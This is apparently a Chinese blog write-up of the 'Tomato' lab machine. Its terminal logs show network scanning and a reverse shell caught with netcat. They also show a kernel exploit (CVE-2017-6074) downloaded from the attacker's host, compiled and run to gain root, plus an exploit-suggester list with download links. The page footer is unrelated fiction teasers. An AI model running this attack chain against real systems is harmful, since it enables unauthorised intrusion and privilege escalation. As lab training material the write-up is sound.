tomato靶場(chǎng)通關(guān)

┌──(root?kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:eb:da:c6, IPv4: 192.168.10.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1    00:50:56:c0:00:08       VMware, Inc.
192.168.10.1    00:50:56:ff:c4:ee       VMware, Inc. (DUP: 2)
192.168.10.10   00:0c:29:bd:58:5d       VMware, Inc.
192.168.10.254  00:50:56:fa:e3:28       VMware, Inc.

┌──(root?kali)-[~]
└─# nmap -p- 192.168.10.10                  
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-30 08:04 EST
Nmap scan report for 192.168.10.10
Host is up (0.00066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2211/tcp open  emwin
8888/tcp open  sun-answerbook
MAC Address: 00:0C:29:BD:58:5D (VMware)

┌──(root?kali)-[~]
└─# nmap -p21,80,2211,8888 -A 192.168.10.10
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-30 08:07 EST
Nmap scan report for 192.168.10.10
Host is up (0.00026s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomato
|_http-server-header: Apache/2.4.18 (Ubuntu)
2211/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA)
|   256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA)
|_  256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519)
8888/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: 401 Authorization Required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Private Property
|_http-server-header: nginx/1.10.3 (Ubuntu)
MAC Address: 00:0C:29:BD:58:5D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.26 ms 192.168.10.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds

┌──(root?kali)-[~]
└─# dirsearch -u http://192.168.10.10 -f -e html.php.txt

  _|. _ _  _  _  _ _|_    v0.4.2                                                
 (_||| _) (/_(_|| (_| )                                                         
                                                                                
Extensions: html.php.txt | HTTP method: GET | Threads: 30 | Wordlist size: 13612

Output File: /root/.dirsearch/reports/192.168.10.10/_23-01-30_08-13-44.txt

Error Log: /root/.dirsearch/logs/errors-23-01-30_08-13-44.log

Target: http://192.168.10.10/

[08:13:44] Starting: 
[08:13:45] 403 -  278B  - /.ht_wsr.txt                                     
[08:13:45] 403 -  278B  - /.htaccess.save                                  
[08:13:45] 403 -  278B  - /.htaccess_orig
[08:13:45] 403 -  278B  - /.htaccess.bak1
[08:13:45] 403 -  278B  - /.htaccess.orig
[08:13:45] 403 -  278B  - /.htaccess.sample
[08:13:45] 403 -  278B  - /.htaccess_extra
[08:13:45] 403 -  278B  - /.htaccessOLD2
[08:13:45] 403 -  278B  - /.htaccess_sc
[08:13:45] 403 -  278B  - /.htm                                            
[08:13:45] 403 -  278B  - /.htaccessOLD
[08:13:45] 403 -  278B  - /.html                                           
[08:13:45] 403 -  278B  - /.htpasswds
[08:13:45] 403 -  278B  - /.httr-oauth
[08:13:45] 403 -  278B  - /.htpasswd_test
[08:13:45] 403 -  278B  - /.php                                            
[08:13:45] 403 -  278B  - /.php3                                           
[08:13:45] 403 -  278B  - /.htaccessBAK                                    
[08:13:59] 403 -  278B  - /icons/                                           
[08:14:00] 200 -  652B  - /index.html                                       
[08:14:08] 403 -  278B  - /server-status                                    
[08:14:08] 403 -  278B  - /server-status/

┌──(root?kali)-[~]
└─# apt install seclists  
正在讀取軟件包列表... 完成
正在分析軟件包的依賴關(guān)系樹... 完成
正在讀取狀態(tài)信息... 完成                 
下列【新】軟件包將被安裝：
  seclists


┌──(root?kali)-[~]
└─# dirsearch -u http://192.168.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4713

Output File: /root/.dirsearch/reports/192.168.10.10/_23-01-30_08-26-17.txt

Error Log: /root/.dirsearch/logs/errors-23-01-30_08-26-17.log

Target: http://192.168.10.10/

[08:26:17] Starting: 
[08:26:18] 301 -  322B  - /antibot_image  ->  http://192.168.10.10/antibot_image/
[08:26:20] 200 -  652B  - /index.html                                       
[08:26:24] 403 -  278B  - /server-status                                    
                                                                             
Task Completed

┌──(root?kali)-[~]
└─# nc -lvnp 3388                          
listening on [any] 3388 ...
connect to [192.168.10.100] from (UNKNOWN) [192.168.10.10] 57358
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"

www-data@ubuntu:/var/www/html/antibot_image/antibots$ uname -a
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

www-data@ubuntu:/var/www/html/antibot_image/antibots$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ ls
ls
VMwareDnD
systemd-private-f97ec14089d749fdbbc152039f476db2-systemd-timesyncd.service-gG1VgC
vmware-root

www-data@ubuntu:/tmp$ wget http://192.168.10.100:8000/CVE-2017-6074
wget http://192.168.10.100:8000/CVE-2017-6074
--2023-01-30 07:11:55--  http://192.168.10.100:8000/CVE-2017-6074
Connecting to 192.168.10.100:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23096 (23K) [application/octet-stream]
Saving to: 'CVE-2017-6074'

CVE-2017-6074       100%[===================>]  22.55K  --.-KB/s    in 0s      

2023-01-30 07:11:55 (548 MB/s) - 'CVE-2017-6074' saved [23096/23096]

www-data@ubuntu:/tmp$ 

www-data@ubuntu:/tmp$ ls -al
ls -al
total 64
drwxrwxrwt 10 root     root      4096 Jan 30 07:11 .
drwxr-xr-x 22 root     root      4096 Sep  7  2020 ..
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 .ICE-unix
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 .Test-unix
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 .X11-unix
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 .XIM-unix
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 .font-unix
-rw-r--r--  1 www-data www-data 23096 Jan 30 06:49 CVE-2017-6074
drwxrwxrwt  2 root     root      4096 Jan 30 04:57 VMwareDnD
drwx------  3 root     root      4096 Jan 30 04:57 systemd-private-f97ec14089d749fdbbc152039f476db2-systemd-timesyncd.service-gG1VgC
drwx------  2 root     root      4096 Jan 30 04:57 vmware-root
www-data@ubuntu:/tmp$ chmod +x CVE-2017-6074

www-data@ubuntu:/tmp$ ./CVE-2017-6074
./CVE-2017-6074
./CVE-2017-6074: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./CVE-2017-6074)


www-data@ubuntu:/tmp$ ldd --version
ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu3) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
www-data@ubuntu:/tmp$ 


www-data@ubuntu:/tmp$ strings  /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_
strings  /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_
GLIBC_2.2.5
GLIBC_2.2.6
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.3.3
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.5
GLIBC_2.6
GLIBC_2.7
GLIBC_2.8
GLIBC_2.9
GLIBC_2.10
GLIBC_2.11
GLIBC_2.12
GLIBC_2.13
GLIBC_2.14
GLIBC_2.15
GLIBC_2.16
GLIBC_2.17
GLIBC_2.18
GLIBC_2.22
GLIBC_2.23

無(wú)法使用make命令情況下使用下面這個(gè)命令
yum -y install gcc automake autoconf libtool make

gcc-7.5.0.tar.gz的安裝一步步安裝這個(gè)教程就行了
https://www.ab62.cn/article/10292.html

www-data@ubuntu:/tmp$ ./linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Available information:

Kernel version: 4.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 16.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

73 kernel space exploits
43 user space exploits

Possible Exploits:

cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04{kernel:4.4.0-21-generic} ]
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2016-8655] chocobo_root

   Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
   Exposure: highly probable
   Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]                                                                  
   Download URL: https://www.exploit-db.com/download/40871
   Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]                                                                     
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-4557] double-fdput()

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
   Exposure: highly probable
   Tags: [ ubuntu=16.04{kernel:4.4.0-(21|38|42|98|140)-generic} ]
   Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2017-7308] af_packet

   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
   Exposure: probable
   Tags: [ ubuntu=16.04 ]{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: probable
   Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000112] NETIF_F_UFO

   Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
   Exposure: probable
   Tags: ubuntu=14.04{kernel:4.4.0-*},[ ubuntu=16.04 ]{kernel:4.8.0-*}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
   Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2018-1000001] RationalLove

   Details: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
   Exposure: less probable
   Tags: debian=9{libc6:2.24-11+deb9u1},ubuntu=16.04.3{libc6:2.23-0ubuntu9}
   Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
   Comments: kernel.unprivileged_userns_clone=1 required

[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

   Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
   Exposure: less probable
   Tags: debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
   Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
   Comments: Uses "Stack Clash" technique, works against most SUID-root binaries

[+] [CVE-2017-1000253] PIE_stack_corruption

   Details: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
   Exposure: less probable
   Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1}
   Download URL: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

   Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
   Exposure: less probable
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
   Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: less probable
   Tags: ubuntu=14.04,fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

www-data@ubuntu:/tmp$

哭了~~~~

原來(lái)之前運(yùn)行CVE-2017-6074都會(huì)出現(xiàn)version `GLIBC_2.34' not found

www-data@ubuntu:/tmp$ ./CVE-2017-6074
./CVE-2017-6074
./CVE-2017-6074: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./CVE-2017-6074)

試了好多方式祈噪，GLIBC_2.34也安裝了，但是不會(huì)修改軟連接蚤蔓，還把系統(tǒng)搞崩了，今天重新嘗試的時(shí)候發(fā)現(xiàn)了一個(gè)方法翼闹，把.c源文件放到靶機(jī)里面進(jìn)行編譯丁寄，

對(duì)hello.c進(jìn)行預(yù)處理，編譯屈雄，匯編并連接形成可執(zhí)行文件a.out村视，沒(méi)有指定輸出文件，默認(rèn)輸出文件名為a.out

然后終于能執(zhí)行了酒奶，root也拿到了

www-data@ubuntu:/tmp$ gcc CVE-2017-6074.c
gcc CVE-2017-6074.c
www-data@ubuntu:/tmp$ ./a.out
./a.out
[.] namespace sandbox setup successfully
[.] disabling SMEP & SMAP
[.] scheduling 0xffffffff81064560(0x406e0)
[.] waiting for the timer to execute
[.] done
[.] SMEP & SMAP should be off now
[.] getting root
[.] executing 0x402043
[.] done
[.] should be root now
[.] checking if we got root
[+] got r00t ^_^
[!] don't kill the exploit binary, the kernel will crash
root@ubuntu:/tmp# 
root@ubuntu:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者

人面猴
序言：七十年代末蚁孔，一起剝皮案震驚了整個(gè)濱河市，隨后出現(xiàn)的幾起案子惋嚎，更是在濱河造成了極大的恐慌杠氢，老刑警劉巖，帶你破解...
沈念sama閱讀 211,561評(píng)論 6贊 492
死咒
序言：濱河連續(xù)發(fā)生了三起死亡事件另伍，死亡現(xiàn)場(chǎng)離奇詭異鼻百，居然都是意外死亡，警方通過(guò)查閱死者的電腦和手機(jī)摆尝，發(fā)現(xiàn)死者居然都...
沈念sama閱讀 90,218評(píng)論 3贊 385
救了他兩次的神仙讓他今天三更去死
文/潘曉璐我一進(jìn)店門温艇，熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)，“玉大人堕汞，你說(shuō)我怎么就攤上這事勺爱。” “怎么了讯检？”我有些...
開封第一講書人閱讀 157,162評(píng)論 0贊 348
道士緝兇錄：失蹤的賣姜人
文/不壞的土叔我叫張陵邻寿，是天一觀的道長(zhǎng)蝎土。經(jīng)常有香客問(wèn)我，道長(zhǎng)绣否，這世上最難降的妖魔是什么誊涯？我笑而不...
開封第一講書人閱讀 56,470評(píng)論 1贊 283
?港島之戀（遺憾婚禮）
正文為了忘掉前任，我火速辦了婚禮蒜撮，結(jié)果婚禮上暴构，老公的妹妹穿的比我還像新娘。我一直安慰自己段磨，他們只是感情好取逾，可當(dāng)我...
茶點(diǎn)故事閱讀 65,550評(píng)論 6贊 385
惡毒庶女頂嫁案：這布局不是一般人想出來(lái)的
文/花漫我一把揭開白布。她就那樣靜靜地躺著苹支，像睡著了一般砾隅。火紅的嫁衣襯著肌膚如雪。梳的紋絲不亂的頭發(fā)上债蜜，一...
開封第一講書人閱讀 49,806評(píng)論 1贊 290
城市分裂傳說(shuō)
那天晴埂，我揣著相機(jī)與錄音，去河邊找鬼寻定。笑死儒洛，一個(gè)胖子當(dāng)著我的面吹牛，可吹牛的內(nèi)容都是我干的狼速。我是一名探鬼主播琅锻，決...
沈念sama閱讀 38,951評(píng)論 3贊 407
雙鴛鴦連環(huán)套：你想象不到人心有多黑
文/蒼蘭香墨我猛地睜開眼，長(zhǎng)吁一口氣：“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼向胡！你這毒婦竟也來(lái)了恼蓬？” 一聲冷哼從身側(cè)響起，我...
開封第一講書人閱讀 37,712評(píng)論 0贊 266
萬(wàn)榮殺人案實(shí)錄
序言：老撾萬(wàn)榮一對(duì)情侶失蹤僵芹，失蹤者是張志新（化名）和其女友劉穎滚秩，沒(méi)想到半個(gè)月后，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體淮捆，經(jīng)...
沈念sama閱讀 44,166評(píng)論 1贊 303
?護(hù)林員之死
正文獨(dú)居荒郊野嶺守林人離奇死亡，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛以下內(nèi)容為張勛視角年9月15日...
茶點(diǎn)故事閱讀 36,510評(píng)論 2贊 327
?白月光啟示錄
正文我和宋清朗相戀三年本股，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了攀痊。大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
茶點(diǎn)故事閱讀 38,643評(píng)論 1贊 340
活死人
序言：一個(gè)原本活蹦亂跳的男人離奇死亡拄显，死狀恐怖苟径，靈堂內(nèi)的尸體忽然破棺而出，到底是詐尸還是另有隱情躬审，我是刑警寧澤棘街，帶...
沈念sama閱讀 34,306評(píng)論 4贊 330
?日本核電站爆炸內(nèi)幕
正文年R本政府宣布蟆盐，位于F島的核電站，受9級(jí)特大地震影響遭殉，放射性物質(zhì)發(fā)生泄漏雏蛮。R本人自食惡果不足惜咏连，卻給世界環(huán)境...
茶點(diǎn)故事閱讀 39,930評(píng)論 3贊 313
男人毒藥：我在死后第九天來(lái)索命
文/蒙蒙一、第九天我趴在偏房一處隱蔽的房頂上張望。院中可真熱鬧铛绰，春花似錦、人聲如沸垢袱。這莊子的主人今日做“春日...
開封第一講書人閱讀 30,745評(píng)論 0贊 21
一樁弒父案，背后竟有這般陰謀
文/蒼蘭香墨我抬頭看了看天上的太陽(yáng)蚁飒。三九已至动壤，卻和暖如春，著一層夾襖步出監(jiān)牢的瞬間淮逻，已是汗流浹背琼懊。一陣腳步聲響...
開封第一講書人閱讀 31,983評(píng)論 1贊 266
情欲美人皮
我被黑心中介騙來(lái)泰國(guó)打工，沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留弦蹂，地道東北人肩碟。一個(gè)月前我還...
沈念sama閱讀 46,351評(píng)論 2贊 360
代替公主和親
正文我出身青樓，卻偏偏與公主長(zhǎng)得像凸椿，于是被迫代替她去往敵國(guó)和親削祈。傳聞我的和親對(duì)象是個(gè)殘疾皇子，可洞房花燭夜當(dāng)晚...
茶點(diǎn)故事閱讀 43,509評(píng)論 2贊 348

tomato靶場(chǎng)通關(guān)

哭了~~~~

原來(lái)之前運(yùn)行CVE-2017-6074都會(huì)出現(xiàn)version `GLIBC_2.34' not found

試了好多方式祈噪，GLIBC_2.34也安裝了，但是不會(huì)修改軟連接蚤蔓，還把系統(tǒng)搞崩了，今天重新嘗試的時(shí)候發(fā)現(xiàn)了一個(gè)方法翼闹，把.c源文件放到靶機(jī)里面進(jìn)行編譯丁寄，

對(duì)hello.c進(jìn)行預(yù)處理，編譯屈雄，匯編并連接形成可執(zhí)行文件a.out村视，沒(méi)有指定輸出文件，默認(rèn)輸出文件名為a.out

推薦閱讀更多精彩內(nèi)容